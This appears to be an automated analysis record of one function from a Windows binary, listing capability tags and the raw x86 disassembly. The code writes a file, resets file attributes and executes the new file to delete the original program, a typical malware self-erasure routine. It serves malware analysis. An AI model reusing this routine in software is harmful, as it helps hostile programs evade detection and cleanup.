Function at 0x405534
Capabilities:
Create process on windows
Get disk information
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x415314
call fcn.00414bc0
sub esp, 0x34
push ebx
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp word [eax + 2], 0x3a
jne 0x405721
mov cx, word [eax + 4]
cmp cx, 0x5c
je 0x405569
cmp cx, 0x2f
jne 0x405721
mov ax, word [eax]
mov word [ebp - 0x1a], 0x3a
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x1c]
push eax
mov word [ebp - 0x18], 0x5c
mov word [ebp - 0x16], bx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
je 0x40559b
or dword [ebp - 4], 0xffffffff
push dword [ebp + 8]
jmp 0x405726
lea eax, [ebp - 0x34]
push 0x41be40
push eax
call fcn.0040334c
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x34]
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4056d7
push esi
push edi
push 0xf
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call fcn.004016a5
push 0x41be2c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.0040154d
mov edi, 0x41be20
lea ecx, [ebp - 0x28]
push edi
call fcn.00402c0c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.004017c9
mov esi, 0x41be18
lea ecx, [ebp - 0x28]
push esi
call fcn.00402c0c
push 0x41be00
lea ecx, [ebp - 0x28]
call fcn.00402c0c
lea eax, [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.004017c9
push 0x41bde0
lea ecx, [ebp - 0x28]
call fcn.00402c0c
push edi
lea ecx, [ebp - 0x28]
call fcn.00402c0c
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x28]
push eax
call fcn.004017c9
push esi
lea ecx, [ebp - 0x28]
call fcn.00402c0c
mov esi, dword [ebp - 0x24]
lea eax, [ebp - 0x28]
push 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.0040189a
mov eax, dword [eax]
add esp, 0xc
lea ecx, [ebp - 0x14]
push ebx
push ecx
push esi
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x40]
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
cmp esi, ebx
pop esi
je 0x4056f1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x24]
jne 0x4056f1
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push dword [ebp - 0x34]
push 0x41bdd4
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0x28]
mov byte [ebp - 4], 1
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x34]
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x40572b
push dword [ebp - 0x34]
call fcn.004023a9
push dword [ebp - 0x28]
mov byte [ebp - 4], 1
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x34]
mov byte [ebp - 4], bl
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp + 8]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
jmp 0x40572c
or dword [ebp - 4], 0xffffffff
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
leave
ret